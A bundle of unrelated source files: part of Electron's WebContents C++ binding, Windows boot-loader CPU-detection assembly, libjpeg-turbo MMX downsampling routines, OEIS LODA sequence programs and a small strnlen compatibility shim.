display::Screen::GetScreen()->GetDisplayNearestView(native_view)
.device_scale_factor();
if (scale > 1.0f)
bitmap_size = gfx::ScaleToCeiledSize(view_size, scale);
view->CopyFromSurface(gfx::Rect(rect.origin(), view_size),
bitmap_size,
base::Bind(&OnCapturePageDone, callback),
kBGRA_8888_SkColorType);
}
void WebContents::OnCursorChange(const content::WebCursor& cursor) {
content::CursorInfo info;
cursor.GetCursorInfo(&info);
if (cursor.IsCustom()) {
Emit("cursor-changed", CursorTypeToString(info),
gfx::Image::CreateFrom1xBitmap(info.custom_image),
info.image_scale_factor,
gfx::Size(info.custom_image.width(), info.custom_image.height()),
info.hotspot);
} else {
Emit("cursor-changed", CursorTypeToString(info));
}
}
void WebContents::SetSize(const SetSizeParams& params) {
if (guest_delegate_)
guest_delegate_->SetSize(params);
}
bool WebContents::IsGuest() const {
return type_ == WEB_VIEW;
}
bool WebContents::IsOffScreen() const {
#if defined(ENABLE_OSR)
return type_ == OFF_SCREEN;
#else
return false;
#endif
}
void WebContents::OnPaint(const gfx::Rect& dirty_rect, const SkBitmap& bitmap) {
Emit("paint", dirty_rect, gfx::Image::CreateFrom1xBitmap(bitmap));
}
void WebContents::StartPainting() {
if (!IsOffScreen())
return;
#if defined(ENABLE_OSR)
const auto* wc_impl = static_cast<content::WebContentsImpl*>(web_contents());
auto* osr_wcv = static_cast<OffScreenWebContentsView*>(wc_impl->GetView());
if (osr_wcv)
osr_wcv->SetPainting(true);
#endif
}
void WebContents::StopPainting() {
if (!IsOffScreen())
return;
#if defined(ENABLE_OSR)
const auto* wc_impl = static_cast<content::WebContentsImpl*>(web_contents());
auto* osr_wcv = static_cast<OffScreenWebContentsView*>(wc_impl->GetView());
if (osr_wcv)
osr_wcv->SetPainting(false);
#endif
}
bool WebContents::IsPainting() const {
if (!IsOffScreen())
return false;
#if defined(ENABLE_OSR)
const auto* wc_impl = static_cast<content::WebContentsImpl*>(web_contents());
auto* osr_wcv = static_cast<OffScreenWebContentsView*>(wc_impl->GetView());
return osr_wcv && osr_wcv->IsPainting();
#else
return false;
#endif
}
void WebContents::SetFrameRate(int frame_rate) {
if (!IsOffScreen())
return;
#if defined(ENABLE_OSR)
const auto* wc_impl = static_cast<content::WebContentsImpl*>(web_contents());
auto* osr_wcv = static_cast<OffScreenWebContentsView*>(wc_impl->GetView());
if (osr_wcv)
osr_wcv->SetFrameRate(frame_rate);
#endif
}
int WebContents::GetFrameRate() const {
if (!IsOffScreen())
return 0;
#if defined(ENABLE_OSR)
const auto* wc_impl = static_cast<content::WebContentsImpl*>(web_contents());
auto* osr_wcv = static_cast<OffScreenWebContentsView*>(wc_impl->GetView());
return osr_wcv ? osr_wcv->GetFrameRate() : 0;
#else
return 0;
#endif
}
void WebContents::Invalidate() {
if (IsOffScreen()) {
#if defined(ENABLE_OSR)
auto* osr_rwhv = static_cast<OffScreenRenderWidgetHostView*>(
web_contents()->GetRenderWidgetHostView());
if (osr_rwhv)
osr_rwhv->Invalidate();
#endif
} else {
const auto window = owner_window();
if (window)
window->Invalidate();
}
}
gfx::Size WebContents::GetSizeForNewRenderView(
content::WebContents* wc) const {
if (IsOffScreen() && wc == web_contents()) {
auto relay = NativeWindowRelay::FromWebContents(web_contents());
if (relay) {
return relay->window->GetSize();
}
}
return gfx::Size();
}
void WebContents::SetZoomLevel(double level) {
zoom_controller_->SetZoomLevel(level);
}
double WebContents::GetZoomLevel() {
return zoom_controller_->GetZoomLevel();
}
void WebContents::SetZoomFactor(double factor) {
auto level = content::ZoomFactorToZoomLevel(factor);
SetZoomLevel(level);
}
double WebContents::GetZoomFactor() {
auto level = GetZoomLevel();
return content::ZoomLevelToZoomFactor(level);
}
void WebContents::OnSetTemporaryZoomLevel(content::RenderFrameHost* rfh,
double level,
IPC::Message* reply_msg) {
zoom_controller_->SetTemporaryZoomLevel(level);
double new_level = zoom_controller_->GetZoomLevel();
AtomFrameHostMsg_SetTemporaryZoomLevel::WriteReplyParams(reply_msg,
new_level);
rfh->Send(reply_msg);
}
void WebContents::OnGetZoomLevel(content::RenderFrameHost* rfh,
IPC::Message* reply_msg) {
AtomFrameHostMsg_GetZoomLevel::WriteReplyParams(reply_msg, GetZoomLevel());
rfh->Send(reply_msg);
}
v8::Local<v8::Value> WebContents::GetWebPreferences(v8::Isolate* isolate) {
WebContentsPreferences* web_preferences =
WebContentsPreferences::FromWebContents(web_contents());
if (!web_preferences)
return v8::Null(isolate);
return mate::ConvertToV8(isolate, *web_preferences->web_preferences());
}
v8::Local<v8::Value> WebContents::GetLastWebPreferences(v8::Isolate* isolate) {
WebContentsPreferences* web_preferences =
WebContentsPreferences::FromWebContents(web_contents());
if (!web_preferences)
return v8::Null(isolate);
return mate::ConvertToV8(isolate, *web_preferences->last_web_preferences());
}
v8::Local<v8::Value> WebContents::GetOwnerBrowserWindow() {
if (owner_window())
return BrowserWindow::From(isolate(), owner_window());
else
return v8::Null(isolate());
}
int32_t WebContents::ID() const {
return weak_map_id();
}
v8::Local<v8::Value> WebContents::Session(v8::Isolate* isolate) {
return v8::Local<v8::Value>::New(isolate, session_);
}
content::WebContents* WebContents::HostWebContents() {
if (!embedder_)
return nullptr;
return embedder_->web_contents();
}
void WebContents::SetEmbedder(const WebContents* embedder) {
if (embedder) {
NativeWindow* owner_window = nullptr;
auto relay = NativeWindowRelay::FromWebContents(embedder->web_contents());
if (relay) {
owner_window = relay->window.get();
}
if (owner_window)
SetOwnerWindow(owner_window);
content::RenderWidgetHostView* rwhv =
web_contents()->GetRenderWidgetHostView();
if (rwhv) {
rwhv->Hide();
rwhv->Show();
}
}
}
void WebContents::SetDevToolsWebContents(const WebContents* devtools) {
if (managed_web_contents())
managed_web_contents()->SetDevToolsWebContents(devtools->web_contents());
}
v8::Local<v8::Value> WebContents::GetNativeView() const {
gfx::NativeView ptr = web_contents()->GetNativeView();
auto buffer = node::Buffer::Copy(
isolate(), reinterpret_cast<char*>(&ptr), sizeof(gfx::NativeView));
if (buffer.IsEmpty())
return v8::Null(isolate());
else
return buffer.ToLocalChecked();
}
v8::Local<v8::Value> WebContents::DevToolsWebContents(v8::Isolate* isolate) {
if (devtools_web_contents_.IsEmpty())
return v8::Null(isolate);
else
return v8::Local<v8::Value>::New(isolate, devtools_web_contents_);
}
v8::Local<v8::Value> WebContents::Debugger(v8::Isolate* isolate) {
if (debugger_.IsEmpty()) {
auto handle = atom::api::Debugger::Create(isolate, web_contents());
debugger_.Reset(isolate, handle.ToV8());
}
return v8::Local<v8::Value>::New(isolate, debugger_);
}
void WebContents::GrantOriginAccess(const GURL& url) {
content::ChildProcessSecurityPolicy::GetInstance()->GrantOrigin(
web_contents()->GetMainFrame()->GetProcess()->GetID(),
url::Origin(url));
}
// static
void WebContents::BuildPrototype(v8::Isolate* isolate,
v8::Local<v8::FunctionTemplate> prototype) {
prototype->SetClassName(mate::StringToV8(isolate, "WebContents"));
mate::ObjectTemplateBuilder(isolate, prototype->PrototypeTemplate())
.MakeDestroyable()
.SetMethod("getId", &WebContents::GetID)
.SetMethod("getProcessId", &WebContents::GetProcessID)
.SetMethod("getOSProcessId", &WebContents::GetOSProcessID)
.SetMethod("equal", &WebContents::Equal)
.SetMethod("_loadURL", &WebContents::LoadURL)
.SetMethod("downloadURL", &WebContents::DownloadURL)
.SetMethod("_getURL", &WebContents::GetURL)
.SetMethod("getTitle", &WebContents::GetTitle)
.SetMethod("isLoading", &WebContents::IsLoading)
.SetMethod("isLoadingMainFrame", &WebContents::IsLoadingMainFrame)
.SetMethod("isWaitingForResponse", &WebContents::IsWaitingForResponse)
.SetMethod("_stop", &WebContents::Stop)
.SetMethod("_goBack", &WebContents::GoBack)
.SetMethod("_goForward", &WebContents::GoForward)
.SetMethod("_goToOffset", &WebContents::GoToOffset)
.SetMethod("isCrashed", &WebContents::IsCrashed)
.SetMethod("setUserAgent", &WebContents::SetUserAgent)
.SetMethod("getUserAgent", &WebContents::GetUserAgent)
.SetMethod("savePage", &WebContents::SavePage)
.SetMethod("openDevTools", &WebContents::OpenDevTools)
.SetMethod("closeDevTools", &WebContents::CloseDevTools)
.SetMethod("isDevToolsOpened", &WebContents::IsDevToolsOpened)
.SetMethod("isDevToolsFocused", &WebContents::IsDevToolsFocused)
.SetMethod("enableDeviceEmulation", &WebContents::EnableDeviceEmulation)
.SetMethod("disableDeviceEmulation", &WebContents::DisableDeviceEmulation)
.SetMethod("toggleDevTools", &WebContents::ToggleDevTools)
.SetMethod("inspectElement", &WebContents::InspectElement)
.SetMethod("setIgnoreMenuShortcuts",
&WebContents::SetIgnoreMenuShortcuts)
.SetMethod("setAudioMuted", &WebContents::SetAudioMuted)
.SetMethod("isAudioMuted", &WebContents::IsAudioMuted)
.SetMethod("undo", &WebContents::Undo)
.SetMethod("redo", &WebContents::Redo)
.SetMethod("cut", &WebContents::Cut)
.SetMethod("copy", &WebContents::Copy)
.SetMethod("paste", &WebContents::Paste)
.SetMethod("pasteAndMatchStyle", &WebContents::PasteAndMatchStyle)
.SetMethod("delete", &WebContents::Delete)
.SetMethod("selectAll", &WebContents::SelectAll)
.SetMethod("unselect", &WebContents::Unselect)
.SetMethod("replace", &WebContents::Replace)
.SetMethod("replaceMisspelling", &WebContents::ReplaceMisspelling)
.SetMethod("findInPage", &WebContents::FindInPage)
.SetMethod("stopFindInPage", &WebContents::StopFindInPage)
.SetMethod("focus", &WebContents::Focus)
.SetMethod("isFocused", &WebContents::IsFocused)
.SetMethod("tabTraverse", &WebContents::TabTraverse)
.SetMethod("_send", &WebContents::SendIPCMessage)
.SetMethod("sendInputEvent", &WebContents::SendInputEvent)
.SetMethod("beginFrameSubscription", &WebContents::BeginFrameSubscription)
.SetMethod("endFrameSubscription", &WebContents::EndFrameSubscription)
.SetMethod("startDrag", &WebContents::StartDrag)
.SetMethod("setSize", &WebContents::SetSize)
.SetMethod("isGuest", &WebContents::IsGuest)
#if defined(ENABLE_OSR)
.SetMethod("isOffscreen", &WebContents::IsOffScreen)
#endif
.SetMethod("startPainting", &WebContents::StartPainting)
.SetMethod("stopPainting", &WebContents::StopPainting)
.SetMethod("isPainting", &WebContents::IsPainting)
.SetMethod("setFrameRate", &WebContents::SetFrameRate)
.SetMethod("getFrameRate", &WebContents::GetFrameRate)
.SetMethod("invalidate", &WebContents::Invalidate)
.SetMethod("setZoomLevel", &WebContents::SetZoomLevel)
.SetMethod("_getZoomLevel", &WebContents::GetZoomLevel)
.SetMethod("setZoomFactor", &WebContents::SetZoomFactor)
.SetMethod("_getZoomFactor", &WebContents::GetZoomFactor)
.SetMethod("getType", &WebContents::GetType)
.SetMethod("getWebPreferences", &WebContents::GetWebPreferences)
.SetMethod("getLastWebPreferences", &WebContents::GetLastWebPreferences)
.SetMethod("getOwnerBrowserWindow", &WebContents::GetOwnerBrowserWindow)
.SetMethod("hasServiceWorker", &WebContents::HasServiceWorker)
.SetMethod("unregisterServiceWorker",
&WebContents::UnregisterServiceWorker)
.SetMethod("inspectServiceWorker", &WebContents::InspectServiceWorker)
.SetMethod("print", &WebContents::Print)
.SetMethod("getPrinters", &WebContents::GetPrinterList)
.SetMethod("_printToPDF", &WebContents::PrintToPDF)
.SetMethod("addWorkSpace", &WebContents::AddWorkSpace)
.SetMethod("removeWorkSpace", &WebContents::RemoveWorkSpace)
.SetMethod("showDefinitionForSelection",
&WebContents::ShowDefinitionForSelection)
.SetMethod("copyImageAt", &WebContents::CopyImageAt)
.SetMethod("capturePage", &WebContents::CapturePage)
.SetMethod("setEmbedder", &WebContents::SetEmbedder)
.SetMethod("setDevToolsWebContents", &WebContents::SetDevToolsWebContents)
.SetMethod("getNativeView", &WebContents::GetNativeView)
.SetMethod("setWebRTCIPHandlingPolicy",
&WebContents::SetWebRTCIPHandlingPolicy)
.SetMethod("getWebRTCIPHandlingPolicy",
&WebContents::GetWebRTCIPHandlingPolicy)
.SetMethod("_grantOriginAccess", &WebContents::GrantOriginAccess)
.SetProperty("id", &WebContents::ID)
.SetProperty("session", &WebContents::Session)
.SetProperty("hostWebContents", &WebContents::HostWebContents)
.SetProperty("devToolsWebContents", &WebContents::DevToolsWebContents)
.SetProperty("debugger", &WebContents::Debugger);
}
AtomBrowserContext* WebContents::GetBrowserContext() const {
return static_cast<AtomBrowserContext*>(web_contents()->GetBrowserContext());
}
void WebContents::OnRendererMessage(content::RenderFrameHost* frame_host,
const base::string16& channel,
const base::ListValue& args) {
// webContents.emit(channel, new Event(), args...);
Emit(base::UTF16ToUTF8(channel), args);
}
void WebContents::OnRendererMessageSync(content::RenderFrameHost* frame_host,
const base::string16& channel,
const base::ListValue& args,
IPC::Message* message) {
// webContents.emit(channel, new Event(sender, message), args...);
EmitWithSender(base::UTF16ToUTF8(channel), frame_host, message, args);
}
// static
mate::Handle<WebContents> WebContents::CreateFrom(
v8::Isolate* isolate, content::WebContents* web_contents) {
// We have an existing WebContents object in JS.
auto existing = TrackableObject::FromWrappedClass(isolate, web_contents);
if (existing)
return mate::CreateHandle(isolate, static_cast<WebContents*>(existing));
// Otherwise create a new WebContents wrapper object.
return mate::CreateHandle(isolate, new WebContents(isolate, web_contents,
REMOTE));
}
mate::Handle<WebContents> WebContents::CreateFrom(
v8::Isolate* isolate, content::WebContents* web_contents, Type type) {
// Otherwise create a new WebContents wrapper object.
return mate::CreateHandle(isolate, new WebContents(isolate, web_contents,
type));
}
// static
mate::Handle<WebContents> WebContents::Create(
v8::Isolate* isolate, const mate::Dictionary& options) {
return mate::CreateHandle(isolate, new WebContents(isolate, options));
}
} // namespace api
} // namespace atom
namespace {
using atom::api::WebContents;
void Initialize(v8::Local<v8::Object> exports, v8::Local<v8::Value> unused,
v8::Local<v8::Context> context, void* priv) {
v8::Isolate* isolate = context->GetIsolate();
mate::Dictionary dict(isolate, exports);
dict.Set("WebContents", WebContents::GetConstructor(isolate)->GetFunction());
dict.SetMethod("create", &WebContents::Create);
dict.SetMethod("fromId", &mate::TrackableObject<WebContents>::FromWeakMapID);
dict.SetMethod("getAllWebContents",
&mate::TrackableObject<WebContents>::GetAll);
}
} // namespace
NODE_BUILTIN_MODULE_CONTEXT_AWARE(atom_browser_web_contents, Initialize)
|
title "Processor type and stepping detection"
;++
;
; Copyright (c) 1989 Microsoft Corporation
;
; Module Name:
;
; cpu.asm
;
; Abstract:
;
; This module implements the assembley code necessary to determine
; cpu type and stepping information.
;
; Author:
;
; Shie-Lin Tzong (shielint) 28-Oct-1991.
;
; Environment:
;
; 80x86
;
; Revision History:
;
;--
.586p
.xlist
include mac386.inc
include callconv.inc
.list
_TEXT SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
CR0_AM equ 40000h
EFLAGS_AC equ 40000h
subttl "Is386"
;++
;
; BOOLEAN
; BlIs386(
; VOID
; )
;
; Routine Description:
;
; This function determines whether the processor we're running on
; is a 386. If not a 386, it is assumed that the processor is
; a 486 or greater.
;
; Arguments:
;
; None.
;
; Return Value:
;
; (al) = 1 - processor is a 386
; (al) = 0 - processor is a 486 or greater.
;
;--
public _BlIs386@0
_BlIs386@0 proc
mov eax,cr0
push eax ; save current cr0
and eax,not CR0_AM ; mask out alignment check bit
mov cr0,eax ; disable alignment check
pushfd ; save flags
pushfd ; turn on alignment check bit in
or dword ptr [esp],EFLAGS_AC ; a copy of the flags register
popfd ; and try to load flags
pushfd
pop ecx ; get new flags into ecx
popfd ; restore original flags
pop eax ; restore original cr0
mov cr0,eax
xor al,al ; prepare for return, assume not 386
and ecx,EFLAGS_AC ; did AC bit get set?
jnz short @f ; yes, we don't have a 386
inc al ; we have a 386
@@: ret
_BlIs386@0 endp
subttl "IsCpuidPresent"
;++
;
; BOOLEAN
; BlIsCpuidPresent(
; VOID
; )
;
; Routine Description:
;
; If bit 21 of the EFLAGS register is writable, CPUID is supported on
; this processor. If not writable, CPUID is not supported.
;
; Note: It is expected that this routine is "locked" onto a single
; processor when run.
;
; Arguments:
;
; None.
;
; Return Value:
;
; TRUE if CPUID is supported,
; FALSE otherwise.
;
;--
EFLAGS_ID equ 200000h ; bit 21
cPublicProc _BlIsCpuidPresent ,0
pushfd ; save EFLAGS
pop ecx ; get current value
xor ecx, EFLAGS_ID ; flip bit 21
push ecx ; set flipped value in EFLAGS
popfd
pushfd ; read it back again
pop eax
xor eax, ecx ; if new value is what we set
shr eax, 21 ; then these two are the same
and eax, 1 ; isolate bit 21 (in bit 0)
xor eax, 1 ; and flip it
stdRET _BlIsCpuidPresent
stdENDP _BlIsCpuidPresent
page
subttl "GetFeatureBits"
;++
;
; VOID
; BlGetFeatureBits(
; VOID
; )
;
; Routine Description:
;
; Execute the CPUID instruction to get the feature bits supported
; by this processor.
;
; Arguments:
;
; None.
;
; Return Value:
;
; Returns the set of feature bits supported by this processor or
; 0 if this processor does not support the CPUID instruction.
;
;--
cPublicProc _BlGetFeatureBits ,0
stdCall _BlIsCpuidPresent ; Does this processor do CPUID?
test eax, 1
jnz short @f ; Jif yes.
xor eax, eax ; No, return 0.
stdRet _BlGetFeatureBits
@@: mov eax, 1 ; CPUID function 1 gets feature bits.
push ebx ; save ebx
cpuid ; execute
;
; Due to a bug in NT 4, some processors report that they do
; not support cmpxchg8b even though they do. Win2K doesn't
; care but cmpxchg8b is a requirement for Whistler.
;
; Check to see if this is one of those processors and if we
; have been told by the processor manufacturer how to reenable
; cmpxchg8b, do so.
;
test edx, 0100h ; is cmpxchg8b present?
jnz short gfb90 ; yes, skip
;
; cmpxchg8b not present, check for recognized processor
;
push eax ; save Family, Model, Stepping
mov eax, 0
cpuid
pop eax
cmp ebx, 0746e6543h ; Cyrix III = 'CentaurHauls'
jnz short gfb30
cmp edx, 048727561h
jnz short gfb80
cmp ecx, 0736c7561h
jnz short gfb80
cmp eax, 0600h ; consider Cyrix III F/M/S 600 and above
;
; Cyrix (Centaur) Set MSR 1107h bit 1 to 1.
;
mov ecx, 01107h
jae gfb20
cmp eax, 0500h ; consider IDT/Centaur F/M/S 500 and above
jb short gfb80
;
; Centaur family 5, set MSR 107h bit 1 to 1.
;
mov ecx, 0107h
gfb20: rdmsr
or eax, 2
wrmsr
jmp short gfb80
gfb30: cmp ebx, 0756e6547h ; Transmeta = 'GenuineTMx86'
jnz short gfb80
cmp edx, 054656e69h
jnz short gfb80
cmp ecx, 03638784dh
jnz short gfb80
cmp eax, 0542h ; consider Transmeta F/M/S 542 and above
jb short gfb80
;
; Transmeta MSR 80860004h is a mask applied to the feature bits.
;
mov ecx, 080860004h
rdmsr
or eax, 0100h
wrmsr
gfb80: mov eax, 1 ; reexecute CPUID function 1
cpuid
gfb90: mov eax, edx ; return feature bits
pop ebx ; restore ebx, esi
stdRET _BlGetFeatureBits
stdENDP _BlGetFeatureBits
_TEXT ends
end
|
; A111491: a(0) = 1; for n>0, a(n) = (2^n-1)*a(n-1)-(-1)^n.
; Submitted by Jon Maiga
; 1,2,5,36,539,16710,1052729,133696584,34092628919,17421333377610,17822024045295029,36481683220718924364,149392492788843995270579,1223673908433421165261312590,20047449641864738950476084161969,656894782414981901190249849735238224
mov $1,2
mov $3,1
lpb $0
sub $0,1
mov $4,$1
add $1,$3
add $1,$4
add $2,1
mul $1,$2
mul $2,2
mov $3,$4
lpe
mov $0,$3
|
; A184552: Super-birthdays (falling on the same weekday), version 4 (birth in the year preceding a February 29).
; 0,5,11,22,28,33,39,50,56,61,67,78,84,89,95,106,112,117,123,134,140,145,151,162,168,173,179,190,196,201,207,218,224,229,235,246,252,257,263,274,280,285,291,302,308,313,319,330,336,341,347,358,364,369,375,386,392,397,403,414,420,425,431,442,448,453,459,470,476,481,487,498,504,509,515,526,532,537,543,554,560,565,571,582,588,593,599,610,616,621,627,638,644,649,655,666,672,677,683,694
add $0,10
seq $0,184551 ; Super-birthdays (falling on the same weekday), version 3 (birth within 2 and 3 years after a February 29).
sub $0,73
|
;
; jcsammmx.asm - downsampling (MMX)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Downsample pixel values of a single component.
; This version handles the common case of 2:1 horizontal and 1:1 vertical,
; without smoothing.
;
; GLOBAL(void)
; jsimd_h2v1_downsample_mmx (JDIMENSION image_width, int max_v_samp_factor,
; JDIMENSION v_samp_factor, JDIMENSION width_blocks,
; JSAMPARRAY input_data, JSAMPARRAY output_data);
;
%define img_width(b) (b)+8 ; JDIMENSION image_width
%define max_v_samp(b) (b)+12 ; int max_v_samp_factor
%define v_samp(b) (b)+16 ; JDIMENSION v_samp_factor
%define width_blks(b) (b)+20 ; JDIMENSION width_blocks
%define input_data(b) (b)+24 ; JSAMPARRAY input_data
%define output_data(b) (b)+28 ; JSAMPARRAY output_data
align 16
global EXTN(jsimd_h2v1_downsample_mmx)
EXTN(jsimd_h2v1_downsample_mmx):
push ebp
mov ebp,esp
; push ebx ; unused
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
mov ecx, JDIMENSION [width_blks(ebp)]
shl ecx,3 ; imul ecx,DCTSIZE (ecx = output_cols)
jz near .return
mov edx, JDIMENSION [img_width(ebp)]
; -- expand_right_edge
push ecx
shl ecx,1 ; output_cols * 2
sub ecx,edx
jle short .expand_end
mov eax, INT [max_v_samp(ebp)]
test eax,eax
jle short .expand_end
cld
mov esi, JSAMPARRAY [input_data(ebp)] ; input_data
alignx 16,7
.expandloop:
push eax
push ecx
mov edi, JSAMPROW [esi]
add edi,edx
mov al, JSAMPLE [edi-1]
rep stosb
pop ecx
pop eax
add esi, byte SIZEOF_JSAMPROW
dec eax
jg short .expandloop
.expand_end:
pop ecx ; output_cols
; -- h2v1_downsample
mov eax, JDIMENSION [v_samp(ebp)] ; rowctr
test eax,eax
jle near .return
mov edx, 0x00010000 ; bias pattern
movd mm7,edx
pcmpeqw mm6,mm6
punpckldq mm7,mm7 ; mm7={0, 1, 0, 1}
psrlw mm6,BYTE_BIT ; mm6={0xFF 0x00 0xFF 0x00 ..}
mov esi, JSAMPARRAY [input_data(ebp)] ; input_data
mov edi, JSAMPARRAY [output_data(ebp)] ; output_data
alignx 16,7
.rowloop:
push ecx
push edi
push esi
mov esi, JSAMPROW [esi] ; inptr
mov edi, JSAMPROW [edi] ; outptr
alignx 16,7
.columnloop:
movq mm0, MMWORD [esi+0*SIZEOF_MMWORD]
movq mm1, MMWORD [esi+1*SIZEOF_MMWORD]
movq mm2,mm0
movq mm3,mm1
pand mm0,mm6
psrlw mm2,BYTE_BIT
pand mm1,mm6
psrlw mm3,BYTE_BIT
paddw mm0,mm2
paddw mm1,mm3
paddw mm0,mm7
paddw mm1,mm7
psrlw mm0,1
psrlw mm1,1
packuswb mm0,mm1
movq MMWORD [edi+0*SIZEOF_MMWORD], mm0
add esi, byte 2*SIZEOF_MMWORD ; inptr
add edi, byte 1*SIZEOF_MMWORD ; outptr
sub ecx, byte SIZEOF_MMWORD ; outcol
jnz short .columnloop
pop esi
pop edi
pop ecx
add esi, byte SIZEOF_JSAMPROW ; input_data
add edi, byte SIZEOF_JSAMPROW ; output_data
dec eax ; rowctr
jg short .rowloop
emms ; empty MMX state
.return:
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
; pop ebx ; unused
pop ebp
ret
; --------------------------------------------------------------------------
;
; Downsample pixel values of a single component.
; This version handles the standard case of 2:1 horizontal and 2:1 vertical,
; without smoothing.
;
; GLOBAL(void)
; jsimd_h2v2_downsample_mmx (JDIMENSION image_width, int max_v_samp_factor,
; JDIMENSION v_samp_factor, JDIMENSION width_blocks,
; JSAMPARRAY input_data, JSAMPARRAY output_data);
;
%define img_width(b) (b)+8 ; JDIMENSION image_width
%define max_v_samp(b) (b)+12 ; int max_v_samp_factor
%define v_samp(b) (b)+16 ; JDIMENSION v_samp_factor
%define width_blks(b) (b)+20 ; JDIMENSION width_blocks
%define input_data(b) (b)+24 ; JSAMPARRAY input_data
%define output_data(b) (b)+28 ; JSAMPARRAY output_data
align 16
global EXTN(jsimd_h2v2_downsample_mmx)
EXTN(jsimd_h2v2_downsample_mmx):
push ebp
mov ebp,esp
; push ebx ; unused
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
mov ecx, JDIMENSION [width_blks(ebp)]
shl ecx,3 ; imul ecx,DCTSIZE (ecx = output_cols)
jz near .return
mov edx, JDIMENSION [img_width(ebp)]
; -- expand_right_edge
push ecx
shl ecx,1 ; output_cols * 2
sub ecx,edx
jle short .expand_end
mov eax, INT [max_v_samp(ebp)]
test eax,eax
jle short .expand_end
cld
mov esi, JSAMPARRAY [input_data(ebp)] ; input_data
alignx 16,7
.expandloop:
push eax
push ecx
mov edi, JSAMPROW [esi]
add edi,edx
mov al, JSAMPLE [edi-1]
rep stosb
pop ecx
pop eax
add esi, byte SIZEOF_JSAMPROW
dec eax
jg short .expandloop
.expand_end:
pop ecx ; output_cols
; -- h2v2_downsample
mov eax, JDIMENSION [v_samp(ebp)] ; rowctr
test eax,eax
jle near .return
mov edx, 0x00020001 ; bias pattern
movd mm7,edx
pcmpeqw mm6,mm6
punpckldq mm7,mm7 ; mm7={1, 2, 1, 2}
psrlw mm6,BYTE_BIT ; mm6={0xFF 0x00 0xFF 0x00 ..}
mov esi, JSAMPARRAY [input_data(ebp)] ; input_data
mov edi, JSAMPARRAY [output_data(ebp)] ; output_data
alignx 16,7
.rowloop:
push ecx
push edi
push esi
mov edx, JSAMPROW [esi+0*SIZEOF_JSAMPROW] ; inptr0
mov esi, JSAMPROW [esi+1*SIZEOF_JSAMPROW] ; inptr1
mov edi, JSAMPROW [edi] ; outptr
alignx 16,7
.columnloop:
movq mm0, MMWORD [edx+0*SIZEOF_MMWORD]
movq mm1, MMWORD [esi+0*SIZEOF_MMWORD]
movq mm2, MMWORD [edx+1*SIZEOF_MMWORD]
movq mm3, MMWORD [esi+1*SIZEOF_MMWORD]
movq mm4,mm0
movq mm5,mm1
pand mm0,mm6
psrlw mm4,BYTE_BIT
pand mm1,mm6
psrlw mm5,BYTE_BIT
paddw mm0,mm4
paddw mm1,mm5
movq mm4,mm2
movq mm5,mm3
pand mm2,mm6
psrlw mm4,BYTE_BIT
pand mm3,mm6
psrlw mm5,BYTE_BIT
paddw mm2,mm4
paddw mm3,mm5
paddw mm0,mm1
paddw mm2,mm3
paddw mm0,mm7
paddw mm2,mm7
psrlw mm0,2
psrlw mm2,2
packuswb mm0,mm2
movq MMWORD [edi+0*SIZEOF_MMWORD], mm0
add edx, byte 2*SIZEOF_MMWORD ; inptr0
add esi, byte 2*SIZEOF_MMWORD ; inptr1
add edi, byte 1*SIZEOF_MMWORD ; outptr
sub ecx, byte SIZEOF_MMWORD ; outcol
jnz near .columnloop
pop esi
pop edi
pop ecx
add esi, byte 2*SIZEOF_JSAMPROW ; input_data
add edi, byte 1*SIZEOF_JSAMPROW ; output_data
dec eax ; rowctr
jg near .rowloop
emms ; empty MMX state
.return:
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
; pop ebx ; unused
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
|
; A291142: a(n) = (1/4)*A291024(n).
; 0,1,2,6,16,43,114,300,784,2037,5266,13554,34752,88799,226210,574680,1456352,3682409,9292002,23403102,58842416,147713043,370262930,926852868,2317191024,5786293597,14433117938,35964267594,89528469088,222666575815,553319176770,1373865411504,3408628520128,8450839974609,20937322035394,51839228700342,128270282312016,317202543731195,783975373463986,1936576048445148,4781272989615824,11798835823985861,29102517749467218,71750731342988706,176821273587461120,435574724842012335,1072550909071705058,2640018360909962376,6495851452540928928,15977590727214958393,39286035651066421154,96565536978762089742,237283862251514754160,582882641717054194147,1431414658799072488146,3514192365777360457908,8625125716391565324592,21163576857098196235821,51915871873701139974322,127321638549264545669370,312175377304871552460960,765231167769054362371991,1875371490395715021914242,4595000478276000607399776,11256158883931483383821696,27567917449822017870458273,67503978627925387262676354,165260443598055579167102310,404505988453151987277401744,989919234654973223854238667,2422119208693441216931065586,5925353968053154891739075724,14492994527752692250399815312,35442874105475721126542608789,86661972285491439221483436050,211864808851950390739510189650,517870799887163107758503636032,1265662818597310171542517811839,3092788466921621468473539780642,7556480222091262709035598765112,18459821880245404105266740615776,45089510390515294957559087998473,110119688446283699315086935921250,268903965261031328215127006459838,656558620709251330294831061387184,1602858288139292572531163400945587,3912580361648258617359396519247378,9549466422216412674980808023089764,23304713192302711844784954388694768,56866740190045694987209452030664445,138747088325063446941985270733661810,338486553728735137739401553295449514,825680364312328165280012909203121888
seq $0,291024 ; p-INVERT of (1,1,1,1,1,...), where p(S) = (1 - 2 S^2)^2.
div $0,4
|
// Copyright (c) 2009-2014 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/gama-config.h"
#endif
#include <cstring>
#if HAVE_DECL_STRNLEN == 0
size_t strnlen( const char *start, size_t max_len)
{
const char *end = (const char *)memchr(start, '\0', max_len);
return end ? (size_t)(end - start) : max_len;
}
#endif // HAVE_DECL_STRNLEN
|
; A259108: a(n) = 2 * A000538(n).
